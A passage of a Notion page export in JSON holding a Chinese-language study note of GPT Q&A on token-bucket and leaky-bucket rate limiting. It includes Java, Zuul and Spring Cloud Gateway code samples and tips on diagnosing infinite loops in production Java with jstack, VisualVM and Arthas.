发流量的出现。"]]},"created_time":1712459254010,"last_edited_time":1712459254014,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"18c829b6-60a3-46b9-ad60-2e8c1e96a819":{"value":{"id":"18c829b6-60a3-46b9-ad60-2e8c1e96a819","type":"divider","created_time":1712460364279,"last_edited_time":1712460364281,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"0526de23-c671-4489-b1cb-268cbdc9e3bc":{"value":{"id":"0526de23-c671-4489-b1cb-268cbdc9e3bc","type":"text","created_time":1712460365347,"last_edited_time":1712460365347,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"b93a19d3-623f-4ea6-85c3-319c527eafea":{"value":{"id":"b93a19d3-623f-4ea6-85c3-319c527eafea","type":"quote","properties":{"title":[["令牌桶是根据字节数来限流的。如果t时有1000个令牌,A请求消耗800个token,B请求如果是199字节就会顺利通过,如果是201字节就会直接被丢弃是吧。令牌桶也可以设计成请求次数限流对吧"]]},"created_time":1712460368014,"last_edited_time":1712460374015,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"126cec14-65f5-440c-b9cc-6bf67871dae3":{"value":{"id":"126cec14-65f5-440c-b9cc-6bf67871dae3","type":"text","properties":{"title":[["是的,你的理解是正确的。"]]},"created_time":1712460383737,"last_edited_time":1712460383740,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2b62d6b3-7b8b-4449-8d88-23d7a817b66d":{"value":{"id":"2b62d6b3-7b8b-4449-8d88-23d7a817b66d","type":"text","properties":{"title":[["令牌桶算法通常根据数据包的字节数来限流,每个数据包到达时,都会尝试从令牌桶中取出相应数量的令牌。如果桶中的令牌不足,数据包将被丢弃或缓冲。"]]},"created_time":1712460383737,"last_edited_time":1712460383740,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"be3a7323-5955-4d4b-95e0-c3f72bfb2b09":{"value":{"id":"be3a7323-5955-4d4b-95e0-c3f72bfb2b09","type":"text","properties":{"title":[["在你的例子中,如果在 t 时刻有 1000 个令牌,A 请求消耗了 800 个令牌,那么剩余的令牌数量为 200。如果此时 B 请求需要 199 个令牌,那么 B 请求可以顺利通过;如果 B 请求需要 201 个令牌,那么 B 请求就会被丢弃,因为此时令牌桶中的令牌不足。"]]},"created_time":1712460383737,"last_edited_time":1712460383740,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8f0098c7-7d59-48e1-8413-8d94f0c59329":{"value":{"id":"8f0098c7-7d59-48e1-8413-8d94f0c59329","type":"text","properties":{"title":[["令牌桶算法也可以用于限制请求的次数。在这种情况下,每个请求消耗的令牌数量为固定的 1 个,而不是根据数据包的大小变化。这样,令牌桶中的令牌数量就代表了系统允许的最大请求次数。如果桶中的令牌不足,新来的请求将被丢弃或缓冲,从而实现了请求次数的限流。"]]},"created_time":1712460383737,"last_edited_time":1712460383740,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"b44e89e3-8079-41bb-8819-d64ecaa8b544":{"value":{"id":"b44e89e3-8079-41bb-8819-d64ecaa8b544","type":"divider","created_time":1712460518293,"last_edited_time":1712460518295,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e6fde3ef-a4dc-495c-a344-1118e4532c98":{"value":{"id":"e6fde3ef-a4dc-495c-a344-1118e4532c98","type":"text","created_time":1712460518601,"last_edited_time":1712460518601,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e255a822-2445-4e80-bb1b-d935dbe47845":{"value":{"id":"e255a822-2445-4e80-bb1b-d935dbe47845","type":"quote","properties":{"title":[["但是这样有点粗暴,通用解决方案应该是请求ip,请求终端唯一标识,用户访问token来限流是吧。给我写出Java语言的令牌桶算法和漏斗算法"]]},"created_time":1712460520374,"last_edited_time":1712460532181,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"65f440df-5d66-406c-b3a0-c96b81e33d36":{"value":{"id":"65f440df-5d66-406c-b3a0-c96b81e33d36","type":"text","properties":{"title":[["你的理解是正确的,实际应用中的限流策略通常会更加复杂,可能会根据 IP 地址、用户标识(如用户 ID、访问令牌等)或者请求的类型等信息进行限流。下面是使用 Java 语言实现的基于 Guava RateLimiter 的令牌桶限流算法示例:"]]},"created_time":1712460537412,"last_edited_time":1712460537420,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ab0f6036-0c9e-41eb-a2ec-812398a84be7":{"value":{"id":"ab0f6036-0c9e-41eb-a2ec-812398a84be7","type":"code","properties":{"title":[["import com.google.common.util.concurrent.RateLimiter;\n\npublic class RateLimiterDemo {\n public static void main(String[] args) {\n // 创建一个限流器,设置令牌生成速率为1个/秒\n RateLimiter rateLimiter = RateLimiter.create(1.0);\n\n for (int i = 1; i <= 10; i++) {\n // 从令牌桶中获取令牌,如果没有足够的令牌则等待\n double waitTime = rateLimiter.acquire();\n System.out.println(\"获取令牌成功,消耗时间:\" + waitTime);\n }\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712460537416,"last_edited_time":1712460537420,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"22927495-a3b1-4b11-bc6e-232a64df0c01":{"value":{"id":"22927495-a3b1-4b11-bc6e-232a64df0c01","type":"text","properties":{"title":[["对于漏桶算法,Java 中没有现成的实现,但是可以使用 Semaphore(信号量)类来模拟实现:"]]},"created_time":1712460537416,"last_edited_time":1712460537420,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"10057243-e7ea-41e2-964f-b4cc59202237":{"value":{"id":"10057243-e7ea-41e2-964f-b4cc59202237","type":"text","properties":{"title":[["令牌桶算法是一个存放固定容量令牌(token)的桶,按照固定速率往桶中添加令牌。令牌桶算法的关键是,桶中最多只能存放 b 个令牌,如果桶满了,新来的令牌会被丢弃;当一个"],[" n 字节的数据包到达时",[["b"]]],[",如果桶中有足够的令牌,则会消耗 n 个令牌,并且数据包会被发送到网络上;如果桶中的令牌不足,则数据包将被缓存或丢弃。"]]},"created_time":1712459254010,"last_edited_time":1712460128696,"parent_id":"dcda87f4-bc3e-4b57-8bf6-04734ef2c649","parent_table":"block","alive":true}},"08b0803f-218e-4e0a-924f-f348f30daeb2":{"value":{"id":"08b0803f-218e-4e0a-924f-f348f30daeb2","type":"text","properties":{"title":[["令牌桶算法能够在限制数据的平均传输速率的同时,还允许某种程度的突发数据传输。"]]},"created_time":1712459254010,"last_edited_time":1712459254014,"parent_id":"dcda87f4-bc3e-4b57-8bf6-04734ef2c649","parent_table":"block","alive":true}},"ccd4f764-ebb5-4119-ab8c-5bcc622a4b13":{"value":{"id":"ccd4f764-ebb5-4119-ab8c-5bcc622a4b13","type":"text","properties":{"title":[["漏桶算法可以看作是一个漏洞大小固定的桶,流进桶里的水(代表网络流量)会以恒定的速率流出,漏水速率是固定的,即使瞬间大量水流入,流出速率也不会变大。如果桶中的水满了,多余的水会直接溢出。"]]},"created_time":1712459254010,"last_edited_time":1712459254014,"parent_id":"65b73029-ad7d-4163-a67c-7b57247731be","parent_table":"block","alive":true}},"98fc2489-3d16-4258-bcd2-fbae95e7eae4":{"value":{"id":"98fc2489-3d16-4258-bcd2-fbae95e7eae4","type":"text","properties":{"title":[["通过漏桶算法,可以平滑网络流量,限制数据流的突发性,但是它不能够应对突然的大流量。"]]},"created_time":1712459254010,"last_edited_time":1712459254014,"parent_id":"65b73029-ad7d-4163-a67c-7b57247731be","parent_table":"block","alive":true}},"33187b3c-2107-4353-b805-38485abae444":{"value":{"id":"33187b3c-2107-4353-b805-38485abae444","type":"code","properties":{"title":[["import java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.Semaphore;\nimport java.util.concurrent.TimeUnit;\n\npublic class LeakyBucketDemo {\n public static void main(String[] args) {\n // 创建一个线程池\n ExecutorService executor = Executors.newScheduledThreadPool(5);\n // 创建一个信号量,模拟漏桶大小\n Semaphore semaphore = new Semaphore(5);\n\n for (int i = 1; i <= 10; i++) {\n // 提交一个任务\n executor.submit(() -> {\n try {\n // 尝试获取一个许可,如果漏桶已满则等待\n semaphore.acquire();\n try {\n // 模拟处理任务\n System.out.println(\"处理任务开始\");\n TimeUnit.SECONDS.sleep(1);\n System.out.println(\"处理任务结束\");\n } finally {\n // 释放一个许可,模拟一个任务完成并离开漏桶\n semaphore.release();\n }\n } catch (InterruptedException e) {\n Thread.currentThread().interrupt();\n }\n });\n }\n\n // 关闭线程池\n executor.shutdown();\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712460537416,"last_edited_time":1712460537420,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"d2264bd9-bbb6-4a93-b33b-22eaab7beba3":{"value":{"id":"d2264bd9-bbb6-4a93-b33b-22eaab7beba3","type":"text","properties":{"title":[["以上代码只是简单的示例,实际应用中的限流策略可能会更加复杂,并且需要考虑到更多的因素,如并发控制、服务降级、熔断等。"]]},"created_time":1712460537416,"last_edited_time":1712460537420,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"83ca355d-21d6-438f-9566-970bcb6c1ae7":{"value":{"id":"83ca355d-21d6-438f-9566-970bcb6c1ae7","type":"divider","created_time":1712472121484,"last_edited_time":1712472121485,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"92bc8af6-9bb6-4ac6-923f-260f36061597":{"value":{"id":"92bc8af6-9bb6-4ac6-923f-260f36061597","type":"text","created_time":1712472121501,"last_edited_time":1712472121501,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"385c3bdc-ea5e-4c02-bdbf-cf16e776d52c":{"value":{"id":"385c3bdc-ea5e-4c02-bdbf-cf16e776d52c","type":"quote","properties":{"title":[["zuul这个框架也可以配置这两个算法,给我写出代码"]]},"created_time":1712460667243,"last_edited_time":1712472131754,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"053d1f64-ddf6-4c15-9bb9-3ee07c91ac49":{"value":{"id":"053d1f64-ddf6-4c15-9bb9-3ee07c91ac49","type":"text","properties":{"title":[["在 Spring Cloud Zuul 中,我们可以使用 Spring Cloud Netflix 的 RateLimiter 实现基于令牌桶的限流。下面是一种可能的实现方式:"]]},"created_time":1712460683515,"last_edited_time":1712460683523,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"6f08c7ba-0b0f-4d25-9216-9c43a7f77bcc":{"value":{"id":"6f08c7ba-0b0f-4d25-9216-9c43a7f77bcc","type":"text","properties":{"title":[["首先,你需要在你的 zuul 网关服务中添加 spring-cloud-starter-netflix-zuul 依赖。然后你可以为你的 Zuul 服务添加一个过滤器来实现限流。"]]},"created_time":1712460683515,"last_edited_time":1712460683523,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c630da5b-d0c9-4c73-ac22-3df2f41034aa":{"value":{"id":"c630da5b-d0c9-4c73-ac22-3df2f41034aa","type":"code","properties":{"title":[["import com.google.common.util.concurrent.RateLimiter;\nimport com.netflix.zuul.ZuulFilter;\nimport com.netflix.zuul.context.RequestContext;\nimport com.netflix.zuul.exception.ZuulException;\nimport org.springframework.stereotype.Component;\n\nimport javax.servlet.http.HttpServletResponse;\n\n@Component\npublic class RateLimitZuulFilter extends ZuulFilter {\n\n // 每秒产生2个令牌\n private static final RateLimiter RATE_LIMITER = RateLimiter.create(2);\n\n @Override\n public String filterType() {\n return \"pre\"; // 前置过滤器\n }\n\n @Override\n public int filterOrder() {\n return -5; // 优先级,数字越小优先级越高\n }\n\n @Override\n public boolean shouldFilter() {\n return true; // 所有请求都过滤\n }\n\n @Override\n public Object run() throws ZuulException {\n RequestContext requestContext = RequestContext.getCurrentContext();\n\n if (!RATE_LIMITER.tryAcquire()) { // 尝试获取令牌\n requestContext.setSendZuulResponse(false); // 不对其进行路由\n requestContext.setResponseStatusCode(HttpServletResponse.SC_TOO_MANY_REQUESTS); // 返回错误码\n }\n\n return null;\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712460683518,"last_edited_time":1712460683523,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5d426dfa-6367-47dd-8aa0-c9dbdffe8c6e":{"value":{"id":"5d426dfa-6367-47dd-8aa0-c9dbdffe8c6e","type":"text","properties":{"title":[["需要注意的是,以上代码中的 RateLimiter.create(2) 创建了一个每秒产生 2 个令牌的 RateLimiter。"]]},"created_time":1712460683518,"last_edited_time":1712460683523,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"bf63f719-0033-487f-bebe-aaaddca1ed7c":{"value":{"id":"bf63f719-0033-487f-bebe-aaaddca1ed7c","type":"text","properties":{"title":[["然而,Zuul 没有内置的漏桶算法实现,你需要自己实现漏桶算法或者使用第三方库。上述的令牌桶实现也是一个非常简单的实现,实际使用中你可能需要根据 IP 地址、用户标识等信息来创建并管理多个 RateLimiter 实例。"]]},"created_time":1712460683518,"last_edited_time":1712460683523,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"3a647354-19d2-4732-a497-4e387262d947":{"value":{"id":"3a647354-19d2-4732-a497-4e387262d947","type":"divider","created_time":1712472136670,"last_edited_time":1712472136671,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"6f316220-c056-4271-9b4e-3106f7d4e88f":{"value":{"id":"6f316220-c056-4271-9b4e-3106f7d4e88f","type":"text","created_time":1712460678984,"last_edited_time":1712460678984,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"44ff0f50-5ad4-4bca-907d-2fefcb0e86aa":{"value":{"id":"44ff0f50-5ad4-4bca-907d-2fefcb0e86aa","type":"quote","properties":{"title":[["gateway这个框架也可以配置这两个算法,给我写出代码"]]},"created_time":1712460715633,"last_edited_time":1712472144093,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"9dff64c2-3741-4851-814d-d1c1519fefda":{"value":{"id":"9dff64c2-3741-4851-814d-d1c1519fefda","type":"text","properties":{"title":[["Spring Cloud Gateway 提供了更加强大和灵活的限流功能,可以基于任何可从 exchange 对象中获取的信息进行限流,包括请求路径、来源 IP、用户 ID 等。以下是一个基于请求路径和每秒请求数量的简单限流规则配置示例:"]]},"created_time":1712460723566,"last_edited_time":1712460723570,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"62e2075c-ab42-41bb-99db-9bfc08161e48":{"value":{"id":"62e2075c-ab42-41bb-99db-9bfc08161e48","type":"text","properties":{"title":[["首先,添加 Spring Cloud Gateway 的依赖:"]]},"created_time":1712460723566,"last_edited_time":1712460723570,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"42ee6ca8-71aa-461c-b80f-3da8c27b4436":{"value":{"id":"42ee6ca8-71aa-461c-b80f-3da8c27b4436","type":"code","properties":{"title":[["\n org.springframework.cloud\n spring-cloud-starter-gateway\n\n"]],"language":[["XML"]]},"format":{"code_wrap":true},"created_time":1712460723566,"last_edited_time":1712460723570,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"f057295a-e996-4759-8408-9a72d156a9c7":{"value":{"id":"f057295a-e996-4759-8408-9a72d156a9c7","type":"text","properties":{"title":[["然后,在你的 Spring Cloud Gateway 服务中配置限流规则:"]]},"created_time":1712460723566,"last_edited_time":1712460723570,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"6fb47951-6a64-4574-bb08-eaf19931a643":{"value":{"id":"6fb47951-6a64-4574-bb08-eaf19931a643","type":"code","properties":{"title":[["import org.springframework.cloud.gateway.filter.ratelimit.KeyResolver;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.server.reactive.ServerHttpRequest;\nimport reactor.core.publisher.Mono;\n\n@Configuration\npublic class RateLimiterConfig {\n\n @Bean\n public KeyResolver pathKeyResolver() {\n return exchange -> {\n ServerHttpRequest request = exchange.getRequest();\n // 使用请求路径作为限流 Key\n return Mono.just(request.getPath().toString());\n };\n }\n\n}"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712460723566,"last_edited_time":1712472147658,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4f64b71e-c4c4-4e99-85fb-154ff17419af":{"value":{"id":"4f64b71e-c4c4-4e99-85fb-154ff17419af","type":"text","properties":{"title":[["然后在你的 application.yml 中配置具体的限流规则:"]]},"created_time":1712460723566,"last_edited_time":1712460723570,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"fb44022a-b688-4772-bf81-ecae9ad72119":{"value":{"id":"fb44022a-b688-4772-bf81-ecae9ad72119","type":"code","properties":{"title":[["spring:\n cloud:\n gateway:\n routes:\n - id: rate_limit_route\n uri: \n predicates:\n - Path=/api/**\n filters:\n - name: RequestRateLimiter\n args:\n key-resolver: \"#{@pathKeyResolver}\"\n redis-rate-limiter.replenishRate: 10\n redis-rate-limiter.burstCapacity: 20\n"]],"language":[["YAML"]]},"format":{"code_wrap":true},"created_time":1712460723566,"last_edited_time":1712460723570,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"1b8d93b5-76b0-4596-b827-c42b6445cc89":{"value":{"id":"1b8d93b5-76b0-4596-b827-c42b6445cc89","type":"text","properties":{"title":[["以上配置代表每秒最多处理 10 个请求,令牌桶的容量为 20 个令牌。"]]},"created_time":1712460723566,"last_edited_time":1712460723570,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"6f8825de-b0d2-43f4-b1f6-b588dae2358a":{"value":{"id":"6f8825de-b0d2-43f4-b1f6-b588dae2358a","type":"text","properties":{"title":[["对于漏桶算法,Spring Cloud Gateway 同样没有内置的实现,你需要自己实现漏桶算法或者使用第三方库。"]]},"created_time":1712460723566,"last_edited_time":1712460723570,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"43cf970f-42f2-4ac3-96fe-ce1472582942":{"value":{"id":"43cf970f-42f2-4ac3-96fe-ce1472582942","type":"divider","created_time":1712472156807,"last_edited_time":1712472156808,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2dd009f7-5f2b-4d20-9c1d-a14b63d2f763":{"value":{"id":"2dd009f7-5f2b-4d20-9c1d-a14b63d2f763","type":"text","created_time":1712472156828,"last_edited_time":1712472156828,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"d224bd21-57b0-45c8-bb92-54065bec0d4e":{"value":{"id":"d224bd21-57b0-45c8-bb92-54065bec0d4e","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1712460750599,"last_edited_time":1712472330954,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e325ba2b-10c4-4412-a6fc-6b4de66aa75e":{"value":{"id":"e325ba2b-10c4-4412-a6fc-6b4de66aa75e","type":"bulleted_list","properties":{"title":[["令牌桶算法能够更好地处理突发流量,因为当突发流量来临时,只要桶中有足够的令牌,就可以直接发送数据,不会出现丢包的情况;而漏桶算法则更加强调流量的平滑性,它会严格控制数据的发送速度,不允许有突发流量的出现。"]]},"created_time":1712460793972,"last_edited_time":1712460811437,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2cd41ff5-a204-4f57-a87a-456eaa361660":{"value":{"id":"2cd41ff5-a204-4f57-a87a-456eaa361660","type":"bulleted_list","properties":{"title":[["都是限流,只不过令牌桶可以面对突发流量,所以令牌桶的取值应该是压测后的接近最大值"]]},"created_time":1712460823780,"last_edited_time":1712461021300,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"809a6e51-51a5-449e-a534-e5862ff13cc1":{"value":{"id":"809a6e51-51a5-449e-a534-e5862ff13cc1","type":"bulleted_list","properties":{"title":[["漏斗放过来的流量不应该设置为最大值"]]},"created_time":1712461007941,"last_edited_time":1712461050064,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8f7194ee-649d-4707-8447-5ac027e4baf8":{"value":{"id":"8f7194ee-649d-4707-8447-5ac027e4baf8","type":"bulleted_list","properties":{"title":[["学到一个新概念:根据字节限流"]]},"created_time":1712461077175,"last_edited_time":1712461101452,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"874019b4-1345-4120-93de-425275ddd16d":{"value":{"id":"874019b4-1345-4120-93de-425275ddd16d","type":"sub_header","properties":{"title":[["4.死循环上线后排查"]]},"format":{"copied_from_pointer":{"id":"5fa04443-840e-41c3-86b1-afb81fb387bf","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712330131919,"last_edited_time":1712457956172,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"5fa04443-840e-41c3-86b1-afb81fb387bf"}},"a1fc850e-4ab3-4d59-bf00-e2e0b13bcd18":{"value":{"id":"a1fc850e-4ab3-4d59-bf00-e2e0b13bcd18","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"created_time":1712472161643,"last_edited_time":1712472333891,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"25b324d4-6f5a-4d91-acae-94bc933a62ae":{"value":{"id":"25b324d4-6f5a-4d91-acae-94bc933a62ae","type":"quote","properties":{"title":[["java程序上线后怎么排查死循环"]]},"created_time":1712461155322,"last_edited_time":1712461159765,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"7051ebe5-d874-4c7f-8e25-8784bb685110":{"value":{"id":"7051ebe5-d874-4c7f-8e25-8784bb685110","type":"text","properties":{"title":[["在Java中,如果你的程序陷入了死循环,那么你将需要进行调试来找出问题的原因。以下是一些用于识别和解决死循环问题的常见方法:"]]},"created_time":1712461166074,"last_edited_time":1712461166077,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8c7c2d9a-33d9-47f5-9ae1-6d9faa7f19de":{"value":{"id":"8c7c2d9a-33d9-47f5-9ae1-6d9faa7f19de","type":"numbered_list","properties":{"title":[["使用JVisualVM或者JStack工具",[["b"]]],[":这些工具可以帮助你来查找程序中的线程,并可以看到线程的调用堆栈。这对于找出程序陷入死循环的位置很有帮助。JVisualVM是JDK自带的一个工具,它可以显示线程的CPU使用情况。如果有死循环,一般会有线程的CPU使用率很高。JStack是一个命令行工具,它可以打印出Java线程的堆栈跟踪。"]]},"created_time":1712461166074,"last_edited_time":1712461166077,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"87fcd96c-2934-4b99-abb8-c8c13df87891":{"value":{"id":"87fcd96c-2934-4b99-abb8-c8c13df87891","type":"numbered_list","properties":{"title":[["在IDE中使用调试器",[["b"]]],[":大多数现代IDE,如IntelliJ IDEA或Eclipse,都有强大的调试器。你可以设置断点,然后逐步执行程序,以查看哪个循环导致程序卡住。"]]},"created_time":1712461166074,"last_edited_time":1712461166077,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ae3f1259-3d6b-4402-ac70-99b9b9e2064c":{"value":{"id":"ae3f1259-3d6b-4402-ac70-99b9b9e2064c","type":"numbered_list","properties":{"title":[["增加日志输出",[["b"]]],[":在你怀疑可能出现死循环的代码段中添加日志输出,这样可以帮助你理解代码的执行流程。如果你看到相同的日志条目被重复打印,那么这可能就是死循环所在的地方。"]]},"created_time":1712461166074,"last_edited_time":1712461166077,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"bd9c0378-a0d6-4b99-b749-94bb3b7be465":{"value":{"id":"bd9c0378-a0d6-4b99-b749-94bb3b7be465","type":"numbered_list","properties":{"title":[["使用性能剖析器(Profiler)",[["b"]]],[":性能剖析器可以帮助你识别程序中的瓶颈和性能问题,包括死循环。例如,你可以使用 Java 的 VisualVM 工具,它包含一个性能剖析器,可以帮助分析和诊断程序性能问题。"]]},"created_time":1712461166074,"last_edited_time":1712461166077,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"a489b769-3f06-4c63-8914-36558c6b3323":{"value":{"id":"a489b769-3f06-4c63-8914-36558c6b3323","type":"text","properties":{"title":[["以上方法需要结合具体情况进行使用,可能需要反复试验才能找到问题的根源。对于线上环境,由于不能直接修改代码,通常采用使用JVisualVM、JStack工具或者性能剖析器的方法来排查。"]]},"created_time":1712461166074,"last_edited_time":1712461166077,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"f5b9400e-67f1-4e59-988b-c68f527904a1":{"value":{"id":"f5b9400e-67f1-4e59-988b-c68f527904a1","type":"divider","created_time":1712472166342,"last_edited_time":1712472166343,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2f1cb9fe-5975-4ca6-a49b-6ac3c690aee3":{"value":{"id":"2f1cb9fe-5975-4ca6-a49b-6ac3c690aee3","type":"text","created_time":1712472166364,"last_edited_time":1712472166364,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"994ca946-2457-49b1-a514-8163a4e98963":{"value":{"id":"994ca946-2457-49b1-a514-8163a4e98963","type":"quote","properties":{"title":[["arthas的thread和dashboard是不是可以更好的排查死循环,并且我还可以使用arthas提供的火焰图来分析哪些线程在占用CPU"]]},"created_time":1712461262144,"last_edited_time":1712461265599,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e4c4e8b5-0832-4419-b56f-6a5d98dc4b92":{"value":{"id":"e4c4e8b5-0832-4419-b56f-6a5d98dc4b92","type":"text","properties":{"title":[["是的,你完全正确。Arthas 是阿里巴巴开源的一款 Java 诊断工具,提供了一些强大的命令来帮助开发者诊断线上的 Java 应用,包括线程分析(thread)、实时监控(dashboard)以及火焰图等。"]]},"created_time":1712461273216,"last_edited_time":1712461273221,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"34a54259-c912-4e8b-8ae5-38faca4ea68e":{"value":{"id":"34a54259-c912-4e8b-8ae5-38faca4ea68e","type":"numbered_list","properties":{"title":[["thread 命令",[["b"]]],[":thread 命令可以用来查看 Java 线程的详细信息,包括线程状态、堆栈信息等。这可以帮助你找出死循环的线程。"]]},"created_time":1712461273216,"last_edited_time":1712461273221,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e56e6aa1-c6f2-4063-a4fe-f4ac502049bc":{"value":{"id":"e56e6aa1-c6f2-4063-a4fe-f4ac502049bc","type":"numbered_list","properties":{"title":[["dashboard 命令",[["b"]]],[":dashboard 命令可以实时查看 JVM 的运行状态,包括类加载信息、线程池信息、GC 信息等。在这里,你可以查看到 CPU 的使用情况,如果某个线程的 CPU 使用率异常的高,那么很可能就是发生了死循环。"]]},"created_time":1712461273217,"last_edited_time":1712461273221,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"6f3d4e9d-db7a-4106-8d59-959ca8afb6cc":{"value":{"id":"6f3d4e9d-db7a-4106-8d59-959ca8afb6cc","type":"numbered_list","properties":{"title":[["火焰图",[["b"]]],[":Arthas 还提供了生成火焰图的功能,火焰图可以直观地展示 CPU 使用情况,帮助你找出占用 CPU 过多的线程,从而定位到死循环的代码。"]]},"created_time":1712461273217,"last_edited_time":1712461273221,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"b89168de-d942-48bd-a8e0-9443c8083eb7":{"value":{"id":"b89168de-d942-48bd-a8e0-9443c8083eb7","type":"text","properties":{"title":[["使用 Arthas,你可以更方便地排查线上的 Java 应用问题,包括死循环问题。"]]},"created_time":1712461273217,"last_edited_time":1712461273221,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c0283b95-d9ed-4afb-9d33-213a1ba8de7c":{"value":{"id":"c0283b95-d9ed-4afb-9d33-213a1ba8de7c","type":"divider","created_time":1712472171268,"last_edited_time":1712472171269,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c0478f94-e2b5-4003-b190-2a26bccc83e4":{"value":{"id":"c0478f94-e2b5-4003-b190-2a26bccc83e4","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1712461275625,"last_edited_time":1712472337350,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"df82e571-9bf7-40e9-adc1-9c2d119592a3":{"value":{"id":"df82e571-9bf7-40e9-adc1-9c2d119592a3","type":"bulleted_list","properties":{"title":[["jstack可以,但是dump下来的堆栈文件不好排查"]]},"created_time":1712461278220,"last_edited_time":1712461297